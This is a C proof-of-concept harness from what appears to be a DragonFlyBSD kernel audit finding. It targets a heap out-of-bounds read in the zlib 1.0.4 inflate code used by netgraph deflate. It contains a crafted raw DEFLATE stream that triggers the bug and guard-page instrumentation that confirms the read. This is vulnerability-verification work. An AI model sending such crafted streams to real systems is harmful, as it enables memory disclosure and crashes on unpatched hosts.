DragonFlyBSD Kernel Audit
DF-0265 / harness.c
← back to finding ↓ download raw
/*
 * DF-0265 PoC harness: heap OOB read in ancient zlib 1.0.4 inflate when
 * windowBits < 15. Links the EXACT, UNMODIFIED audited sys/net/zlib.c
 * (copied verbatim into this folder) and exercises it as a userspace
 * library, which is valid because the file is written to compile cleanly
 * in three modes (_KERNEL / __KERNEL__ / userspace) and contains the
 * identical inflate distance-handling code that compiles into the kernel.
 *
 * Attack model per the finding: a raw DEFLATE stream (nowrap=1, the mode
 * used by netgraph7_deflate via inflateInit2(&cx, -windowBits)) decoded
 * with a small window (windowBits < 15) can carry distance codes up to
 * 32768, but the 1.0.4 inflate_codes/inflate_fast COPY cases perform NO
 * "dist <= window" check. The resulting pointer arithmetic
 *     s->end - (dist - (q - s->window))
 * underflows past s->window and reads adjacent heap memory.
 *
 * This harness proves the OOB read by placing a PROT_NONE guard page
 * immediately BEFORE every zlib allocation; the underflow touches the
 * guard page in front of the sliding window and faults. We catch SIGSEGV
 * and report the fault address relative to the live allocations, which is
 * conclusive proof of an out-of-bounds read in the audited code.
 *
 * Build: see build.sh   Run: see run.sh
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>
#include <unistd.h>

#include "zlib.h"   /* the verbatim sys/net/zlib.h */

/* ---- the crafted raw-DEFLATE stream ------------------------------ *
 * Generated on the host with Python's zlib at windowBits=-15 (32KiB
 * encoder window) from data engineered so the only available match for
 * the second copy of a 258-byte pseudo-random pattern is more than 256
 * bytes back. zlib's encoder therefore MUST emit a distance code > 256.
 * Raw stream (no zlib header), so a decoder opened with inflateInit2(-8)
 * will accept the block and try to resolve that large distance against
 * its 256-byte window. See gen_stream.py for how these bytes are made.
 */
static const unsigned char STREAM[] = {
  0x13,0x9c,0x22,0x3e,0x4b,0x76,0x81,0xf2,0x32,0xcd,0x35,0xfa,0x9b,0x4c,0x77,0x58,
  0xef,0x73,0x3c,0xe2,0x7e,0xca,0xf7,0x42,0xf0,0xb5,0xc8,0x3b,0xf1,0x8f,0x52,0x5f,
  0x64,0xbf,0x2b,0xfc,0x52,0xfe,0xab,0x96,0xa1,0x99,0xad,0x93,0xa7,0x5f,0x68,0xaa,
  0xc4,0x6c,0xb9,0x85,0x2a,0xcb,0xb5,0xd6,0x1a,0x6c,0x36,0xdb,0x69,0xb3,0xdf,0xe9,
  0xa8,0xc7,0x69,0xbf,0x8b,0x21,0xd7,0xa3,0xee,0x26,0x3c,0x4e,0x7b,0x99,0xf3,0xbe,
  0xe8,0x6b,0xc5,0xef,0x3a,0xc6,0x16,0xf6,0x2e,0xde,0x09,0xc2,0xd3,0x24,0xe7,0xc8,
  0x2f,0x52,0x5d,0xa1,0xbd,0xce,0x70,0x8b,0xf9,0x2e,0xdb,0x03,0xce,0xc7,0x3c,0xcf,
  0xf8,0x5f,0x0a,0xbd,0x11,0x7d,0x2f,0xf1,0x49,0xfa,0xab,0xdc,0x0f,0xc5,0xdf,0x2a,
  0xff,0xd4,0x33,0xb5,0x72,0x74,0xf3,0x4d,0x14,0x99,0x2e,0x35,0x57,0x61,0xb1,0xda,
  0x4a,0x9d,0xf5,0x46,0x5b,0x2d,0x76,0xdb,0x1d,0x74,0x39,0xee,0x75,0x36,0xe0,0x72,
  0xd8,0xcd,0x98,0xfb,0x49,0x4f,0x33,0x5e,0xe7,0x7d,0x2c,0xf9,0x5e,0xf5,0xb7,0x81,
  0xb9,0x8d,0xb3,0x87,0x7f,0x92,0xe8,0x0c,0xe9,0x79,0x8a,0x4b,0xd4,0x57,0xe9,0x6e,
  0x30,0xde,0x66,0xb9,0xc7,0xfe,0x90,0xeb,0x09,0xef,0x73,0x81,0x57,0xc2,0x6f,0xc5,
  0x3e,0x48,0x7e,0x96,0xf9,0x26,0xff,0x53,0xe9,0x8f,0xea,0x7f,0x8d,0x2c,0xed,0x5c,
  0xbd,0x02,0x93,0xc5,0x66,0xca,0xcc,0x57,0x5a,0xaa,0xb1,0x5a,0x6f,0xa3,0xc9,0x76,
  0xab,0xbd,0x0e,0x87,0xdd,0x4e,0xfa,0x9c,0x0f,0xba,0x1a,0x71,0x3b,0xee,0x61,0xca,
  0xf3,0xac,0xb7,0x05,0x9f,0xcb,0x7e,0xd6,0xfc,0x6f,0x62,0xed,0xe0,0xee,0x13,0x9c,
  0xe2,0x5e,0xb3,0xf1,0x99,0x74,0x40,0xeb,0xae,0xf7,0x2a,0x91,0x7d,0x87,0x7f,0xe8,
  0x26,0x4d,0x3f,0xc3,0x68,0x96,0xbd,0xe0,0x2a,0x97,0x7d,0xc9,0xca,0x7b,0xc2,0x1e,
  0xb5,0x9b,0x9e,0xcb,0x04,0xb6,0xed,0xfe,0xa0,0x1a,0xd5,0x7f,0xe4,0xa7,0x5e,0xf2,
  0x8c,0xb3,0x4c,0xe6,0x39,0x0b,0xaf,0x71,0x3b,0x94,0xae,0xba,0x2f,0xe2,0x59,0xb7,
  0xf9,0x85,0x6c,0x50,0xfb,0x9e,0x8f,0x6a,0xd1,0x13,0x8e,0xfe,0xd2,0x4f,0x99,0x79,
  0x8e,0xd9,0x22,0x77,0xd1,0x75,0x1e,0xc7,0xb2,0xd5,0x0f,0x44,0xbd,0xea,0xb7,0xbc,
  0x94,0x0b,0xee,0xd8,0xfb,0x49,0x3d,0x66,0xe2,0xb1,0xdf,0x06,0xa9,0xb3,0xce,0xb3,
  0x58,0xe6,0x2d,0xbe,0xc1,0xeb,0x54,0xbe,0xe6,0xa1,0x98,0x77,0xc3,0xd6,0x57,0xf2,
  0x21,0x9d,0xfb,0x3e,0x6b,0xc4,0x4e,0x3a,0xfe,0xc7,0x30,0x6d,0xf6,0x05,0x56,0xab,
  0xfc,0x25,0x37,0xf9,0x9c,0x2b,0xd6,0x3e,0x12,0xf7,0x69,0xdc,0xf6,0x5a,0x21,0xb4,
  0x6b,0xff,0x17,0xcd,0xb8,0xc9,0x27,0xfe,0x1a,0xa5,0xcf,0xb9,0xc8,0x66,0x5d,0xb0,
  0xf4,0x16,0xbf,0x4b,0xe5,0xba,0xc7,0x12,0xbe,0x4d,0xdb,0xdf,0x28,0x86,0x75,0x1f,
  0xf8,0xaa,0x15,0x3f,0xe5,0xe4,0x3f,0xe3,0x8c,0xb9,0x97,0xd8,0x6d,0x0a,0x97,0xdd,
  0x16,0x70,0xad,0x5a,0xff,0x44,0xd2,0xaf,0x79,0xc7,0x5b,0xa5,0xf0,0x9e,0x83,0xdf,
  0xb4,0x13,0xa6,0x9e,0xfa,0x6f,0x92,0x39,0xef,0x32,0x87,0x6d,0xd1,0xf2,0x3b,0x82,
  0x6e,0xd5,0x1b,0x9e,0x4a,0xf9,0xb7,0xec,0x7c,0xa7,0x1c,0xd1,0x7b,0xe8,0xbb,0x4e,
  0xe2,0xb4,0xd3,0x0c,0xa6,0x59,0xf3,0xaf,0x70,0xda,0x15,0xaf,0xb8,0x2b,0x34,0xd8,
  0xfc,0x2f,0x38,0xe2,0x53,0x24,0x00,
};
static const size_t STREAM_LEN = sizeof(STREAM);  /* = 551 */

/* ---- guard-page allocator to surface the underflow ---------------- */
static long g_pagesize;

#define MAX_ALLOCS 64
struct alloc_rec {
    unsigned char *mmap_base;   /* mmap region start (guard page lives here) */
    size_t         mmap_len;
    unsigned char *user;        /* pointer returned to zlib (mmap_base + page) */
    size_t         size;        /* requested size */
};
static struct alloc_rec g_allocs[MAX_ALLOCS];
static int              g_nallocs = 0;

voidpf zcalloc(voidpf opaque, unsigned items, unsigned size)
{
    size_t total = (size_t)items * (size_t)size;
    size_t need  = (total + g_pagesize - 1) & ~((size_t)g_pagesize - 1);
    size_t maplen = g_pagesize + need;                 /* guard page + payload */
    void *m = mmap(NULL, maplen, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANON, -1, 0);
    if (m == MAP_FAILED) return NULL;
    if (mprotect(m, g_pagesize, PROT_NONE) != 0) {     /* poison the guard page */
        munmap(m, maplen);
        return NULL;
    }
    if (g_nallocs < MAX_ALLOCS) {
        g_allocs[g_nallocs].mmap_base = (unsigned char *)m;
        g_allocs[g_nallocs].mmap_len  = maplen;
        g_allocs[g_nallocs].user      = (unsigned char *)m + g_pagesize;
        g_allocs[g_nallocs].size      = total;
        g_nallocs++;
    }
    (void)opaque;
    return (voidpf)((unsigned char *)m + g_pagesize);
}

void zcfree(voidpf opaque, voidpf ptr)
{
    /* Short-lived process; let the OS reclaim at exit so we can still
     * inspect the allocations in the signal handler. */
    (void)opaque; (void)ptr;
}

/* ---- SIGSEGV catch ------------------------------------------------ */
static sigjmp_buf g_jmp;
static void      *g_fault_addr;
static int        g_faulted;

static void on_sig(int sig, siginfo_t *si, void *uc)
{
    (void)sig; (void)uc;
    g_fault_addr = si->si_addr;
    g_faulted = 1;
    siglongjmp(g_jmp, 1);
}

static const char *classify(unsigned char *fault)
{
    static char buf[256];
    int best = -1;
    long bestoff = 0;
    for (int i = 0; i < g_nallocs; i++) {
        long off = (long)fault - (long)g_allocs[i].user;
        /* nearest allocation by absolute offset */
        if (best < 0 || labs(off) < labs(bestoff)) {
            best = i; bestoff = off;
        }
    }
    if (best < 0) {
        snprintf(buf, sizeof(buf), "fault %p matched no tracked allocation", (void *)fault);
        return buf;
    }
    const char *where = (bestoff < 0) ? "BEFORE-start (underflow into guard page)"
                                      : ((size_t)bestoff < g_allocs[best].size
                                         ? "inside-allocation" : "AFTER-end");
    snprintf(buf, sizeof(buf),
             "nearest alloc #%d [user=%p size=%zu (%#zx)]: fault is %+ld bytes (%s)",
             best, (void *)g_allocs[best].user, g_allocs[best].size, g_allocs[best].size,
             bestoff, where);
    return buf;
}

int main(int argc, char **argv)
{
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    write(2, "[harness] started\n", 18);
    g_pagesize = sysconf(_SC_PAGESIZE);
    if (g_pagesize <= 0) g_pagesize = 4096;
    fprintf(stderr, "[harness] pagesize=%ld\n", g_pagesize);

    struct sigaction sa;
    memset(&sa, 0, sizeof(sa));
    sa.sa_sigaction = on_sig;
    sa.sa_flags = SA_SIGINFO;
    sigemptyset(&sa.sa_mask);
    sigaction(SIGSEGV, &sa, NULL);
    sigaction(SIGBUS,  &sa, NULL);

    z_stream zs;
    memset(&zs, 0, sizeof(zs));
    /* Optional argv[1]: windowBits to use (default -8, the vulnerable
     * small-window case). Negative => raw DEFLATE (netgraph7_deflate mode).
     * Use -15 for the control: 32KiB window swallows the distance and no
     * OOB occurs. */
    int wb = (argc > 1) ? atoi(argv[1]) : -8;
    fprintf(stderr, "[harness] using windowBits=%d (|%d|-byte window)\n", wb,
            wb < 0 ? (1 << (-wb)) : (1 << wb));
    /* zlib.c defines NO_ZCFUNCS, so inflateInit2_ does NOT install a default
     * allocator -- the caller must wire up zalloc/zfree, exactly as every
     * kernel caller does (e.g. ng_deflate.c:255-256 sets cx.zalloc=z_alloc
     * before inflateInit2). Point them at our guard-page zcalloc. */
    zs.zalloc = zcalloc;
    zs.zfree  = zcfree;

    /* windowBits from argv (default -8): raw DEFLATE, 256-byte sliding window.
     * Mirrors netgraph7_deflate's inflateInit2(&cx, -windowBits) with the
     * lower end of the allowed 8..15 range (ng_deflate.c line 236). */
    int r = inflateInit2(&zs, wb);
    fprintf(stderr, "[harness] inflateInit2 returned %d\n", r);
    if (r != Z_OK) {
        fprintf(stderr, "inflateInit2(-8) failed: %d (%s)\n", r, zs.msg);
        return 2;
    }

    fprintf(stderr, "[harness] %d allocations made by inflateInit2:\n", g_nallocs);
    for (int i = 0; i < g_nallocs; i++)
        fprintf(stderr, "  #%d user=%p size=%zu (%#zx)\n", i,
                (void *)g_allocs[i].user, g_allocs[i].size, g_allocs[i].size);

    unsigned char out[65536];
    zs.next_in   = (Bytef *)STREAM;
    zs.avail_in  = STREAM_LEN;
    zs.next_out  = out;
    zs.avail_out = sizeof(out);

    g_faulted = 0;
    fprintf(stderr, "[harness] calling inflate on %zu-byte stream, window=%d bytes...\n",
            STREAM_LEN, wb < 0 ? (1 << (-wb)) : (1 << wb));
    if (sigsetjmp(g_jmp, 1) == 0) {
        r = inflate(&zs, Z_FINISH);
        fprintf(stderr, "[harness] inflate returned %d, msg=%s, total_out=%lu\n",
                r, zs.msg ? zs.msg : "(null)", (unsigned long)zs.total_out);
        inflateEnd(&zs);
        fprintf(stderr, "[harness] RESULT: no OOB fault observed on this stream "
                        "(stream may carry no dist>windowBits, or OOB landed in "
                        "the readable slack of a non-window allocation)\n");
        return 0;
    } else {
        fprintf(stderr, "[harness] *** SIGSEGV/SIGBUS during inflate at %p ***\n",
                g_fault_addr);
        fprintf(stderr, "[harness] %s\n", classify((unsigned char *)g_fault_addr));
        fprintf(stderr, "[harness] RESULT: OOB READ CONFIRMED -- inflate dereferenced "
                        "memory outside an allocation (the sliding-window distance "
                        "bounds check is absent in sys/net/zlib.c 1.0.4)\n");
        return 1;
    }
}